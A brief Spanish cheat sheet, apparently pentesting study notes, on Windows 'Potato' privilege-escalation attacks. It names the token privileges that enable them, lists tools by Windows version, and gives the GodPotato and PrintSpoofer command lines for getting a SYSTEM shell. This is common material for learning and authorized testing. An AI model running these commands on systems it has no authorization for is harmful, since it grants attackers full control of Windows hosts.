# Potato attacks

> Cuando `whoami /priv` muestra **SeImpersonatePrivilege** o **SeAssignPrimaryTokenPrivilege** → abuso de token a **NT AUTHORITY\SYSTEM**.

## El gatillo
```
whoami /priv   →  busca SeImpersonatePrivilege = Enabled
```
Típico en cuentas de servicio (IIS, MSSQL `sa`, etc.).

## La familia
```
JuicyPotato    → Windows antiguos
PrintSpoofer   → Windows 10/Server 2016-2019 (servicio de impresión)
GodPotato      → moderno, muy fiable hoy
RoguePotato / RottenPotato → variantes
```

## Uso típico (GodPotato/PrintSpoofer)
```
GodPotato.exe -cmd "cmd /c whoami"
PrintSpoofer.exe -i -c cmd
```
Subes el .exe con Transferencia de ficheros.